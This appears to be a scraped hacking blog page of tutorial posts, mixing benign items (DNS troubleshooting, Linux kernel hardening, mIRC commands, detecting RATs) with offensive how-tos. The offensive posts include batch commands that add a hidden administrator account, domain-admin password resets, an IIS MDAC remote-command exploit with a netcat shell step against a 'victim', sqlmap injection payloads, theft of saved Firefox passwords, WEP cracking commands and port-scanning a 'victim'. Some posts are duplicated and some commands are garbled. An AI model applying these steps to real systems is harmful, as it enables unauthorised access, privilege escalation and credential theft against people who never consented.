Showing posts with label Tutorials. Show all posts
Showing posts with label Tutorials. Show all posts
Diffrent ways to Access Command Prompt
To those of you that think by getting root, you own everything, sorry to disapoint you. But, by getting root, you only own the comp your on. There is however, a way to get domain root, which I'll discuss later.
So first of all , try and check your access to DOS. For doing so :
"start>all programs>accessories>cmd" or "start>run> type in 'cmd'"If it doesnt works, go and make a file named "whatever.txt" Right click, and open it in notepad. Type "cmd" in it and save, if you are able to see some black screen fr a second, yes, you can get it. Now change the content in file, i.e
replace "cmd" with following: @echo off
echo hello
pauseIf you see "HACKED" on the screen, then yes you are more closer. Finally now change the content to following :REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
"Disabled"=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:0 This changes the registry value that blocks dos. So, type "cmd" in the .bat and see if it works. If that also didn't work, theres still other ways.
Now, type in your commands and click "file>save as>" for the type, put "text document, and save as "anything.bat".
If that wasn't the reason, I hope you have access to the C drive.
If you do, go here "C:\Windows\system32\" and create a new folder.
Now, find "cmd.exe" and "scrnsave.scr" and copy them to the new folder.
Goto the folder and rename "scrnsave.scr" to "scrnsaveold.scr", and "cmd.exe" to "scrnsave.scr" And replace it with the real one in system32. Now the next time your screen saver appears, it will be full access dos. So, if you can, on the desktop, right click and select properties. Change the time to one minute. On windows xp, you may have to make sure the screensaver is "scrnsave".
Even if it doesnt works, you can go for control panel. yes this one is not gauranteed, but ya at least it may be try at least.
Just create a new folder and rename it to following(obviously only the {} part)
Control panel: {305CA226-D286-468e-B848-2B2E8E697B74}Printers: {2227A280-3AEA-1069-A2DE-08002B30309D} Taskbar and startmenu: {0DF44EAA-FF21-4412-828E-260A8728E7F1}
Microsoft FTP folder {63da6ec0-2e98-11cf-8d82-444553540000}
Temporary Internet files {7BD29E00-76C1-11CF-9DD0-00A0C9034933}
ActiveX Cache folder {88C6C381-2E85-11D0-94DE-444553540000
Subscriptions folder {F5175861-2688-11d0-9C5E-00AA00A45957} Dial-up networking: {992CFFA0-F557-101A-88EC-00DD010CCC48}
Scheduled tasks: {D6277990-4C6A-11CF-8D87-00AA0060F5BF}
Folder options: {6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}
Dial-Up Networking: {992CFFA0-F557-101A-88EC-00DD010CCC48}
Scheduled tasks: {D6277990-4C6A-11CF-8D87-00AA0060F5BF}
History {FF393560-C2A7-11CF-BFF4-444553540000}If so far, nothing has worked. You need to crack the sam file. Pretty sure Cain & Abel has this option.
If you did get dos, it's time to create yourself an admin acct. Type this.
@echo off
net user hackplanet hackplanet /add
net localgroup administrators hackplanet /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hackplanet/t REG_DWORD /d 0First Line just hides the file address and stuff.
Second Line Creates the user "hackplanet" with the password of "hackplanet".
Third Line adds "upgoingstar" to the administrators group.
Fourth Line makes the acct "upgoingstar" a hidden acct.
If you see "The command completed successfully." or something similiar, congragulations. You now have root. If it didn't work, it means you have limited access dos, use the screensaver thing.
If you want domain root, you can either find the domain admin's username and type
@echo off
net user [username] [newpassword]
That will change the pass.
Or, if you can get on his/her comp, type this in dos.
net group "Domain Admins" [username] /add
This will add an acct to the domain admins.
Moreover, if you don't have access to the C drive, or any other particular drive, there are a few ways to view it's contents. You just need to be able to install programs. Google has a program called "Google Desktop" which indexes the computer and makes it searchable.
Or, you can download a web browser such as Opera. In the url bar type this "file://" you should now see a list of drives.
Seems funny? Weel, actually it is. :)
Neways, this much fr now. Enjoy Hacking, enjoy hackplanet. ;) :-@
10:59 PM 0
MDAC- Local Command Execution
You might think that it is a years-old vulnerability, however what i see on pen-tests is that almost 40% of IIS web servers are still vulnerable to this.
IIS' MDAC component has a vulnerability where an attacker can submit commands for local execution.
The core problem is with the RDS Datafactory. By default, it allows remote commands to be sent to the IIS server. The commands will be run as the effective user of the service, which is typically the SYSTEM user.
I wont get into details, if you want go and check RFP's web site. However, you can find a vulnerable site by checking
c:\>nc -nw -w 2 80
GET /msadc/msadcs.dll HTTP
and if you get the following
application/x_varg
it is most probably vulnerable if not patched.
You can find the exploit, mdac.pl and msadc2.pl from rain forest puppy's web site at www.wiretrip.net/rfp It checks for the vulnerability and if it is vulnerable then it asks for the command you wanna execute:
c:\> mdac.pl -h
Please type the NT commandline you want to run (cmd /c assumed):\n
cmd /c
if you wanna change the web site which is located at
d:\inetpub\wwwroot\victimweb\index.htm
then you can type:
cmd/c echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm
or what ever you want but my personnal preference is uploading our swiss army knife, netcat, and binding it to the cmd.exe to the port 80. To do that set up your TFTP server and put nc.exe in it. Then when you are asked to type the command you want to execute, for example type the following:
cmd/c cd %systemroot%&&tftp -i
there you go, go on fire your netcat against the victim over port 80, you get the eggshell, cmd.exe.....
11:39 PM 0
Troubleshooting DNS
- Running nslookup returns nonexistent domain
- If you run nslookup, you might see an error that looks like this:
C:\>nslookup *** Can't find server name for address 192.168.1.1: Non-existent domain *** Default servers are not available Default Server: UnKnown Address: 192.168.1.1
When nslookup starts, it attempts do a reverse lookup of the IP address of the DNS server. If the reverse lookup fails, nslookup returns the preceding error message, which is somewhat misleading. The solution is to either install a reverse lookup zone for your workstations or to ignore the message. - Netlogon Error 5774 - DNS Operation Refused
- This error is typically caused by the use of a DNS server that does not allow dynamic update or is set to refuse operations from your computer. Sometimes, this is due to a workstation that points to the ISP's DNS server instead of an internal DNS server. In general, all internal servers and workstations should point to one or more internal DNS servers that in turn point to a DNS server that forwards to the Internet.
- DNS Error 414 - The specified domain either does not exist or could not be contacted
- This error usually occurs when the computer is configured without a DNS domain name. If the computer is a DNS server that has only a single label name (e.g., kona2 versus kona2.reskit.net), any zone created will have the default SOA and NS records created using just a single label. This in turn will lead to invalid or failed referrals for the zone used to provide lookups for this zone.
- DNS Error 5504 - The DNS Server encountered an invalid domain name in a packet from X.X.X.X
- This error indicates that the DNS server has received a packet with an invalid domain name and the packet has been rejected. The most common cause of this is DNS cache pollution, as described in Knowledge Base (KB) article 241352 (http://support.microsoft.com/default.aspx?scid=kb;en-us;241352).
- Troubleshooting dynamic update problems
- Dynamic update is a DNS feature that enables hosts to update their DNS details at the DNS server. Although easy to set up, there are some ways in which DNS dynamic update can fail. See the KB article 287156 for more details (http://support.microsoft.com/default.aspx?scid=kb;en-us;287156)
- Windows Server 2003 cannot resolve addresses that Windows 2000 can
- In some cases, it appears that server is just not functioning and not resolving some names. The cause is that Extension Mechanisms for DNS (EDNS0) requests from the 2003 DNS server are not recognized by all other DNS servers. To resolve this, you should disable EDNS0 requests, using the DNScmd program from the Windows Server 2003 Support Tools folder and type dnscmd /config /enableednsprobes at a command prompt.I guess this would help you guys. Any suggestions or comments are welcomed. :)
6:11 AM 0
How to tell whether a virus threat is real or just a hoax?
Keep the following links handy the next time a user sends you an email saying that one of their AOL buddies alerted them to a new and threatening virus. These links should be your first line of defense when a new virus is reported in the wild:
- CERT Institute (http://www.cert.org)
- McAfee's Virus Hoaxes (http://vil.mcafee.com/hoax.asp)
- Symantec's Hoax Page (http://www.symantec.com/avcenter/hoax.html)
- TrendMicro Hoax Page (http://www.antivirus.com/vinfo/hoaxes/hoax.asp)
- Sophos' Hoax Page (http://www.sophos.com/virusinfo/hoaxes/)
- Virus Busters (http://www.itd.umich.edu/virusbusters/)
- Virus Myths (http://www.stiller.com/myths.htm)
- Hoax Warnings (http://www.europe.datafellows.com/news/hoax.htm)
6:02 AM 0
How to perform the Tuning of a Linux Box
So what you are supposed to do whe the word "tuning of linux" comes to your nerves. Well, lets explore this one and start by opening the /etc/sysctl.conf file, which stores the kernel parameters. Here is the example of this file.
# Kernel sysctl configuration file for Red Hat Linux. # For binary values, 0 is disabled, 1 is enabled. See sysctl(8) for # more details. # Controls IP packet forwarding. net.ipv4.ip_forward = 0 # Controls source route verification. net.ipv4.conf.default.rp_fliter = 1 kernel.sysrq = 1 kernel.core_uses_pid = 1 #net.ipv4.tcp_ecn = 0 kernel.grsecurity.fifo_restrictions = 1 kernel.grsecurity.linking_restrictions = 1 # Audit some operations. kernel.grsecurity.audit_mount=1 kernel.grsecurity.signal_logging=1 #kernel.grsecurity.suid_logging=1 kernel.grsecurity.timechange_logging=l kernel.grsecurity.forkfail_logging=1 kernel.grsecurity.coredump = 1 # Lock all security options. #kernel.grsecurity.grsec_lock = 1
I'll consider the function of the parameters saved in the file, using as an example the net.ipv4.tcp_ecn parameter. This is a path, relative to the /proc/sys directory, to the tcp_ecn file, namely: /proc/sys/net/ipv4/tcp_ecn. Execute the following command to view the contents of the file:
cat /proc/sys/net/ipv4/tcp_ecn
The system will display 0 or 1, which is the value of this parameter.
You can change the value manually, but it's more convenient to do this by executing the following command:
sysctl -w paramater_name = new_value
The same command can be used to view the value of the kernel parameter:
sysctl parameter_name
For example, the value of the net.ipv4.tcp_ecn parameter, which is stored in the /proc/sys/net/ipv4/tcp_ecn file, is displayed as follows:
sysctl net.ipv4.tcp_ecn
The values of most parameters are Boolean, meaning they can be either 0 (disabled) or 1 (enabled).
The following are the parameters that should be changed. If they are not in the sysctl.conf file, they should be added to it.
- net.ipv4.icmp_echo_ignore_broadcasts — When this parameter is enabled, the system ignores broadcast ICMP echo packets.
- net.ipv4.icmp_echo_ignore_all — When this parameter is enabled, all ICMP echo packets are ignored. You can use this parameter if you don't want to fool around with the firewall. Prohibiting echo-request packets reduces the traffic, albeit not by much, and makes ineffective any attacks based on using ping packets.
- net.ipv4.conf.*.accept_redirects — This parameter controls accepting router-redirection messages.
The asterisk character is a wild card and stands for any directory name. There can be several subdirectories in the net/ipv4/conf directory, one for each network interface. There should be at least four such subdirectories in your system:
- all — Contains configuration files for all interfaces
- default — Holds the default values
- eth0 — Holds configuration files for the first network card
- lo — Holds configuration files for the loopback interface
The asterisk indicates that the parameter must be set for all interfaces whose parameter files are stored in the subdirectories of the net/ipv4/conf directory. In most cases, the all directory can be substituted for the asterisk, but sometimes all existing subdirectories have to be specified.
- net.ipv4.conf.*.secure_redirects — When set, this enables ICMP redirect messages to be accepted only for gateways listed in the default gateway list. It is advisable to enable this parameter only if there is more than one router in your network; otherwise, it should be disabled.
- net.ipv4.conf.*.send_redirects — This parameter allows a computer acting as a router to send ICMP redirect messages to other hosts. If there is more than one router in the network, it is advisable to enable this parameter, so that you can distribute the workload among the routers and not try to route all traffic through the main gateway.
- net.ipv4.conf.*.accept_source_route — This parameter controls whether source-routed packages should be accepted or declined. I already mentioned that such packets can be used to bypass your firewall; thus, you should disable this parameter.
- net.ip_always_defrag — When set, all incoming packets are defragmented. I already explained how the firewall can be bypassed using fragmented packets. It just happens that the firewall checks only the first fragment of the packet and considers the rest of the fragments allowed if the first one passes the check. When this parameter is set, all incoming packets are defragmented, thus making bypassing the firewall using this method impossible.
- net.ipv4.ipfrag_low_thresh — This specifies the minimum amount of memory allocated to reassemble fragmented packets. The higher this value, the fewer memory-allocation manipulations necessary. The default value is 196608. Setting this parameter too high will cause extra memory to be allocated and may result in the server running out of resources for processing data. It is advisable to leave the default value.
- net.ipv4.ipfrag_high_thresh — This specifies the maximum amount of memory allocated to reassemble fragmented IP packets. The default value is 262144. If this value is exceeded, the operating system starts tossing out incoming fragmented packets. In this way, a server can be flooded with trashy fragmented messages causing it to no longer react to fragmented packets.
- net.ipv4.ipfrag_time — This indicates the time in seconds to keep an IP packet fragment in memory. The default value is 30 seconds. This is too much, because during this time hackers can flood the entire cache. In case of an attack on the system, the value should be lowered to 20 or even 10 seconds.
- net.ipv4.tcp_syncookies — This controls whether to send out SYN cookies when the SYN queue of a socket overflows. It is advisable to enable this parameter to ward off SYN flood attacks.
These are some of the main kernel parameters. There are too many of them for each to be considered in this book. I advise you to consult the pertinent documentation for information on parameters not included in the preceding overview.
5:43 AM 0
Complete List Of mIRC commands
The LOCK feature in mIRC allows you to minimize mIRC and lock it with a password for strange eyes. If you control-minimize mIRC (keep the Ctrl-key pressed down while minimizing mIRC), it will be locked with your password. If no password was set previously mIRC will ask you for one. Later when you want to maximize mIRC you need your password to activate it. An extention of this feature in the /File/Options/General/Lock/ menu can be used to lock mIRC or certain channels for your children!
Shift+Mouse on Switchbar Did you know that you can 'fast-close' a window in mIRC by clicking its button on the Switchbar while holding the SHIFT key pressed down??
/uwho Ever wondered who you're actually speaking with? The /whois {nick} command shows you a lot of cryptic info in the Status window but the /uwho {nick} command will open a clear and informative User Central. Give it a try! You can also store address info of your friends in the User Central for future reference.
ALT + Minus Press the key combination ALT and 'minus' simultaneous to access the windows' System Menu's (found under that little horizontal bar in every top left corner of ANY window in mIRC and windows). Here you can set the fonts you like, the logging options, save the buffer and set various other things for private and channel conversations.
/clear Use the /clear command to flush away all old text you dont want to read again. /clearall clears all text in all windows!
Remember that old doskey feature under DOS? mIRC has it too! Use the arrow up/down keys, eventually combined with SHIFT, to recall old commands and text lines.
/channel The /channel command will open the Channel Central that displays all modes and bans set on your current channel.
/pdcc Use the undocumented /pdcc [on|off] command to speed up your DCC sessions! It will pump a certain amount of your data packages away to the reciever, ahead of the confirmation of their arrival. Try it, it works .
Quick reference to mIRC's commands:
If you need more info on any command listed here, type /help {command} in mIRC. The list here is far from complete!
/ Recalls the previous line entered in the current window.
/! Recalls the last command typed in any window.
/action {action text} Sends the specifed action to the active channel or query window.
/ame {action text} Sends the specifed action to all channels which you are currently on.
/amsg {text} Sends the specifed message to all channels which you are currently on.
/auser {level} {nick|address} Adds a user with the specified access level to the remote users list.
/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off totally.
/away {away message} Sets you away leave a message explaining that you are not currently paying attention to IRC.
/away A plain away sets you being back.
/ban [#channel] {nickname} [type] Bans the specified nick from
the curent or given channel.
/beep {number} {delay} Locally beeps 'number' times with 'delay' inbetween the beeps. /channel Pops up the channel central window (only works in a channel).
/clear Clears the entire scrollback buffer of the current window.
/clearall Clears all text in all open windows.
/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on nickname.
/ctcps [on|off] Sets the Tools/Remote/ section (not) to listen to CTCP commands. Or checks its status.
/closemsg {nickname} Closes the query window you have open to the specified nick.
/creq [ask | auto | ignore] Sets your DCC 'On Chat request'
settings in DCC/Options.
/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.
/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.
/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other applications.
/ddeserver [[on [service name] | off] To turn on the DDE server mode, eventually with a givem service name.
/describe {#channel} {action text} Sends the specifed action to
the specified channel window.
/disable {#groupname} De-activates a group of commands or events.
/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.
/dlevel {level} Changes the default user level in the remote section.
/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.
/echo [nickname|#channel|status] {text} Displays the given text
only to YOU on the given place in color N.
/enable {#groupname} Activates a group of commands or events.
/events [on|off] Sets the Tools/Remote/ section (not) to listen to ON .. Events. Or checks its status.
/exit Forces mIRC to closedown and exit.
/finger {nick|address} Does a finger on a users address.
/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.
/flush [levels] Clears all nicknames from the Remote/users list
that are currently not on your channels.
/font Activates the font selection dialog.
/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.
/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.
/groups [-e|d] Shows all (enabled or disabled) groups defined in the remote sections.
/guser {level} {nick} [type] Adds the user to the user list with the specified level and address type.
/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.
/ignore [on|off|nickname|address] Toggles ignoring of a nick or
address or sets it on or off totally.
/invite {nickname} {#channel} Invites another user to a channel.
/join {#channel} Makes you join the specified channel.
/kick {#channel} {nickname} Kicks nickname off a given channel.
/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for parameters.
/load {-apuce} {filename.ini} Loads Aliases, Popups or Remote items into mIRC.
/log [on|off] Shows the logging status or sets it on or off for the current window.
/me {action text} Sends the specifed action to the active channel or query window. Also see /describe and /ctcp action.
/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.
/msg {nickname} {message} Send a private message to this user without opening a query window.
/names {#channel} Shows the nicks of all people on the given
channel.
/nick {new nickname} Changes your nickname to whatever you like.
/notice {nick} {message} Send the specified notice message to the nick.
/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.
/onotice [#channel] {message} Send the specified notice message to all channel ops.
/omsg [#channel] {message} Send the specified message to all ops on a channel.
/part [#channel] [message] Makes you leave the specified channel.
/partall Makes you leave all channels you are on.
/ping {server address} Pings the given server. NOT a nickname.
/play [-cpqmrlt] [channel/nick] {filename} [delay/linenumber] Allows you to play text files.
/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.
/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off totally.
/query {nickname} {message} Open a query window to this user and send them the private message.
/quit [reason] Disconnect you from IRC with the optional byebye message.
/raw [on|off] Sets the Tools/Remote/ section (not) to listen to Raw commands. Or checks its status.
/raw {raw command} Sends any raw command you supply directly to the server. Use with care!
/remote [on|off] Sets the Tools/Remote/ section (not) to listen to CTCP or Raw remote commands and Events. Or checks its status.
/rlevel {access level} Removes all users from the remote users list with the specified access level.
/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters. Also try /run h**p://w*w.mirc.com
etc.
/ruser {nick[!]|address} [type] Removes the user from the remote users list.
/save [-apuce] {filename.ini} Saves remote sections into a specified INI file.
/say {text} Says whatever you want to the active window.
/server [server address [port] [password]] Reconnects to the previous server or a newly specified one.
/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound request.
/speak {text} Uses the external text to speech program Monologue to speak up the text. Better use /gtalk with mIRC's Agent support.
/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.
/time Tells you the time on the server you use.
/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.
/timestamp [on | off] Sets timestamping on or off for all your conversations.
/topic {#channel} {newtopic} Changes the topic for the specified channel.
/ulist {level} Lists all users in the remote list with the specified access levels.
/url [on|off|show|hide] [address] Opens the URL window that allows you to surf the www parallel to IRC.
/uwho [nick] Pops up the user central with information about the specified user.
/splay {c:\path\sound.file} Locally plays the specified sound file.
/who {#channel} Shows the nicks of all people on the given channel.
/who {*part.of.address*} Shows all people on IRC with a matching address.
/whois {nickname} Shows information about someone in the status window. Also try /uwho.
/whowas {nickname} Shows information about someone who -just- left IRC.
/write [-cidl] {filename} [text] To write the specified text to a .txt file.
mIRC supports lots, lots and a lot more commands... Especially the commands that are used in scripts, with lots of options, are not included in this list. Therefore this list should be seen as a suggestion to get you going
11:22 AM 0
Detect nudity in Images using Javascript Code and HTML Canvas
Parents want to avoid their children getting exposed to nude images and to some extent it can be filtered with web proxies. But here is a very good demonstration of nudity detection script which works using javascript and HTML canvas actually scans for nudity in the images and hides it. Thanks to Patrick Wied for making this script. This open source nudity detection technique will help in a greater way to avoid kids getting exposed to explicit thing in the future.
Here is the Demo of that script. If you find this interesting support the developer or spread the word about his work.
4:36 AM 0
SQLmap and POSTS , rather than GETS
Hi guys, wats goin on? hacking on charm? :D
Well, here writing sumthing cool. Giving here a tut for "sqlmap and POST" requests since every most of the tutorials tel u bout the GETS only.. Sounds interesting? Well, n its interesting as well.
So the options you'll want to use
-u URL, --url=URL <-- Target url
--method=METHOD <-- HTTP method, GET or POST (default GET)
--data=DATA <-- Data string to be sent through POST
-p TESTPARAMETER <-- Testable parameter(s)
--prefix=PREFIX <-- Injection payload prefix string
-u URL, --url=URL <-- Target url
--method=METHOD <-- HTTP method, GET or POST (default GET)
--data=DATA <-- Data string to be sent through POST
-p TESTPARAMETER <-- Testable parameter(s)
--prefix=PREFIX <-- Injection payload prefix string
--postfix=POSTFIX <-- Injection payload postfix string
--dbms=DBMS <--Force back-end DBMS to this value
*--dbms= if sqlmap is nt working, it sumeitmes irritates. :)
lets assume that we are having a simple POST request.
3ncrypt0r@bt:~/pentest/sqlmap-dev$ python sqlmap.py -u "http://192.168.1.100/upgoingstar/login.aspx" --method POST --data "usernameTxt=blah&passwordTxt=blah&submitBtn=Log+On" -p "usernameTxt" --prefix="')" --dbms=mssql -v 2
--method to pass the POST option
--data to pass the paramaters that are required for the POST
-p to pass the injectable field, so in this case the username field (usernameTxt)
--prefix to pass what needs to be passed before we can inject. we had to issue a tick ( ' ) and right parenthesis ( ) ) to close out the query
--dbms to tell it the backend was mssql
this yields us an sqlmap query like so:
Place: POST
Parameter: usernameTxt
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: usernameTxt=blah'); WAITFOR DELAY '0:0:5';-- AND ('yTwo'='yTwo&passwordTxt=blah&submitBtn=Log+On
*--dbms= if sqlmap is nt working, it sumeitmes irritates. :)
lets assume that we are having a simple POST request.
3ncrypt0r@bt:~/pentest/sqlmap-dev$ python sqlmap.py -u "http://192.168.1.100/upgoingstar/login.aspx" --method POST --data "usernameTxt=blah&passwordTxt=blah&submitBtn=Log+On" -p "usernameTxt" --prefix="')" --dbms=mssql -v 2
--method to pass the POST option
--data to pass the paramaters that are required for the POST
-p to pass the injectable field, so in this case the username field (usernameTxt)
--prefix to pass what needs to be passed before we can inject. we had to issue a tick ( ' ) and right parenthesis ( ) ) to close out the query
--dbms to tell it the backend was mssql
this yields us an sqlmap query like so:
Place: POST
Parameter: usernameTxt
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: usernameTxt=blah'); WAITFOR DELAY '0:0:5';-- AND ('yTwo'='yTwo&passwordTxt=blah&submitBtn=Log+On
Well this is it. try it once and u wud enjoy. :)
have fun.
have fun.
4:26 AM 0
Saved Firefox passwords from Rooted Box.
Nothing new, but as this is my own place so i m gonna write whatever i wish :P
Sometimes while you are on a box and going thru all the documents doesn't yield anything useful for you to move, in that scenario you can sometimes grab the Firefox saved passwords. So many times someone will save their password to the corporate OWA, wiki, helpdesk page, or whatever. Even if u dno gets the lead, u can atleast guess that those are passswords that has been reset or not.
So how to do it?
Actually its simple. Inside of the mozilla\firefox directory will be somethingrandom.default. Inside that folder you'll find:
key3.db
signons.sqlite
If there is no master password set, replace the files on your test VM with the two files you downloaded, open firefox, go to preferences, security, and do a view saved passwords. LOL. Isnt it amazing?
This is it. I guess this was a lamers one, but dude, i had also got some n00b (as i m ) in ma visitors list, so this post can also find a place. ::d
Enuf fr this time.
Enjoy Hacking, Enjoy HAckton.
Sometimes while you are on a box and going thru all the documents doesn't yield anything useful for you to move, in that scenario you can sometimes grab the Firefox saved passwords. So many times someone will save their password to the corporate OWA, wiki, helpdesk page, or whatever. Even if u dno gets the lead, u can atleast guess that those are passswords that has been reset or not.
So how to do it?
Actually its simple. Inside of the mozilla\firefox directory will be somethingrandom.default. Inside that folder you'll find:
key3.db
signons.sqlite
If there is no master password set, replace the files on your test VM with the two files you downloaded, open firefox, go to preferences, security, and do a view saved passwords. LOL. Isnt it amazing?
This is it. I guess this was a lamers one, but dude, i had also got some n00b (as i m ) in ma visitors list, so this post can also find a place. ::d
Enuf fr this time.
Enjoy Hacking, Enjoy HAckton.
7:32 AM 0
How to Hack WiFi (WEP) Using Backtrack 4
1. Boot Live CD/DVD of BackTrack 4. After it boots, type in "startx" to start GUI
2. Open new Konsole (backtrack's terminal).
3. Type, not using qoutes, "airodump-ng wlan0". Now find the network you want to attack. Copy the BSSID and the channel (write down on piece of paper and keep handy)
4. Open new Konsole, type "airodump-ng -w wep -c 11 --bssid 00:24:b2:80:d7:3c wlan0" **X & 00:24:b2:80:d7:3c are examples of the channel and bssid you should have copied**
5. You are now fixed on to the network you want to attack.
6. Close the first Konsole, open a new Konsole and type "aireplay-ng -1 0 -a 00:24:b2:80:d7:3c wlan0" **00:24:b2:80:d7:3c is an example as well**
7. Open another new Konsole, type "aireplay-ng -3 -b 00:24:b2:80:d7:3c wlan0" **00:24:b2:80:d7:3c example"
8. Go to first Konsole, wait for the Data to reach to 30,000; go to 3rd Konsole, hit CNTL + C, then type in "dir", hit enter
9. Type "airecrack-ng wep.01.cap", hit enter.
10. Let it run its course, should only take a few moments. Once key is found, it will show up with semi-colons in it. Take out the semi-colons, and this will be the key. (Example of key; 53:06:66:51:50, so it will be 5306665150)
11. Enjoy Hacking, Enjoy Hackton.
10:02 PM 0
How To Get Back Your Hacked Google Account
As Google Account is a single account used across all Googles services like Gmail, Orkut, Blogger, Adsense, Checkout. etc, it can turn out to be our worst nightmare if it gets hacked!
Like many other online services Google tries to protect your account with secret question as well as optional secondary email address. But there is one more official option which only Google Provides!
Now lets go step-by-step…
#1. Note Down the verification code.
Whenever any account is registered with GOOGLE, it gives some confirmation messages and provide you a verification ID. Note down that verification id . If you are having that, recovering your account is just easy as burning a match stick.
#1. Trying “Forget Password” Option
I know this will not work in most cases, as options like forget password rely on secondary email address and security question, both of which can be easily changed once a account gets hacked. Still you should try atleast once as most password gets hacked by script kiddies and not by real hackers.So go to Forget Password form first!
#2. What if “Forget Password” Option Fails
You can submit a form to Google in which you can provide details about your Google Account usage.Details include information which most likely only real owner can provide. Here are few things for example…
- Last successful login date
- Account creation date
- Google products you used with this account and the date you started using each one
- Details about Orkut account (if you use Orkut)
- Details about Blogger account (if you use Blogger)
“Please answer each question as thoroughly and accurately as possible. If you’re not certain about some of the information, provide your closest estimate. Whether or not we can return your account depends on the strength and accuracy of your responses.”So I will suggest following things…
- Your goal should be to give Google maximum & accurate data! So take your time and submit form with maximum amount of information possible. You can consult your trusted friends if you are not sure. As an example it could be Sam or Bob who invited you on orkut. If you are not sure call them up and ask it!
- Submit only one form! Yes this should be common sense. Do not submit multiple forms. A person who uses around 10-15 Google products asked me if he can submit multiple forms mentioning different Google products.
- Submit form from the place which you use most often to access your account like PC at home! Although they haven’t mentioned this explicitly, line above submit button says, “Please note that we need your IP address in order to resolve this issue. Your IP address will be captured automatically when you submit this form.”
#4. Another Bonus Option Added : Mobile Verification
Well for some advanced users, who come in category of TECH PEOPLE, google has incoporated a newest feature. they can evn register their mobile number with their particular account. However google will verify by sending the activation code on your Cell, and then wud ask you before regisering your number with your account. This is included inthe process so that no other user can get the Recovery Activation code on his cell phone.
To register your mobile with this process, Go to your Google Account Settings, Click on Change Password Recovery Options, And Then go for Adding Your Mobile with your account.
I advise everyone to have a look at this form and information it asks. You can prepare a document about secret info, may be in cell phone or pen down it on a paper. This will come handy if something goes wrong in future!
I guess I have offered my best possible help on the issue. It may or may not work but thats all I can do. So do not mail me asking to hack any account!
Update: If you don’t remember any detail required in the form or you just don’t get any reply from Google after submitting the form, please create a new account. There is no other option. Sorry. (October 26, 2010)
12:42 AM 0
How To Check Whether You are Victim of RATS or not ?
1. Now every program has their own process which can be seen on task manager. So the first thing to do is to find out which process the Trojan is being attached to. If you see some unknown process search that on google. A good hacker will always makes sure he hides its process with a Windows based Process, for eg. svchost.exe or something like that.
2. If you cant find, then the next thing you can do is use cmd (to open cmd prompt, Click on Start--->Accessories-->Command prompt).
3. Once Command Prompt is opened, use this command: netstat -an |find /i "listening"
Note: The NETSTAT command will show you whatever ports are open or in use, but it is NOT a port scanning tool!
Now we wonder What this Command does? This command will show all the opening ports. Now check for any unknown port.
4. You can skip step 3 if you want, and can do this instead.
Open command prompt and type netstat -b
Now this command will show you the active connections with the process with their PID (Process Identifier) and also the packets.
Look out for SYN Packets and the Foreign address its been connecting with , check the process its been associated with, check the ports also. If you find that its connecting to some unknown ports, then you can say you have been backdoored.
5. Go to your task manager. On the top of it, click on View---> select Column---> Tick on PID (Process Identifier).
Match the suspicious Process with the Processes In task manager, check PID also.
Now most of the RATs resides on Start up. How to delete them from start up?
a) Go to regedit ---> HKLM\Software\Microsoft\Windows\Current version\Run
On the Right hand side, check for the process name which you find on step 4. if its not their. Check at
HKCU\Software\Microsoft\Windows\Current Version\Run
OR
Open Cmd prompt & type start msconfig. Go to Startup tab, you can check the startup process there.
I hope This Tutorial was easy and comprehensive.
10:50 AM 0
Use Sourceforge As your Free File Hosting Service.
1) Go to
http://sourceforge.net/
2) Create a account:
https://sourceforge.net/account/registration/
3) After you created a account, and are already logged in, click Create Project on top:
https://sourceforge.net/register-project/
4) This is the impotent part. You have to think of some fake open source project so sourceforge approves it. Sourceforge doesn't screen the applications too much, but here is a good example
Project name:
This must be given some time..u really need to emphasise on it, otherwise theywould reject your Project.i used "ZZ Packer Open Source" and they passed it withing seconds.
Description:
ZZ Packer is a open source executable packing solution that will help people
secure their executable files and not have to go for the other expensive
packers.n blah blah, write watvr u want to , but that must indicate them that your project is really goin on..
5) Wait for them to approve you. 99% they will
6) After that go to:
https://sourceforge.net/projects/NAME OF YOUR PROJECT/
7) Click project admin -> File Manager
8) Enjoy :-) hacking, Enjoy Hackplanet.
5:13 AM 0
How To Check Whether You Are Secure or Not.. Lamers Trick
>>Port Scanner<<
>>rDos<<
(click on them to Download)
Step One: First we need to find the websites IP Adress. This is very easy todo.
Ok so say they URL is http://www.yoursite.com ok now that you have your URL open Up Cmd todo this press Start>Run>cmd Once you have CMD open you type ping http://www.yoursite.com press enter and you will get the ip of the website. (YOU MUST REMOVE HTTP:// AND ANY /'s).
EXAMPLE:
Step Two: Now we must test to see if port 80 is open (it usually is).
This is very easy todo to Ok open up the port scanner you downloaded.
Once in the port scanner type in your Victims ip that you got from step 1.
It will ask you to do a range scan or a full scan (SELECT REANGE SCAN!) It will ask for conformaition you have to use a capital Y or a capital N! Now enter 79 for lowest port and 81 for highest hit enter than hit cap Y.
[X] = Closed
[X] Vulnerable = Open
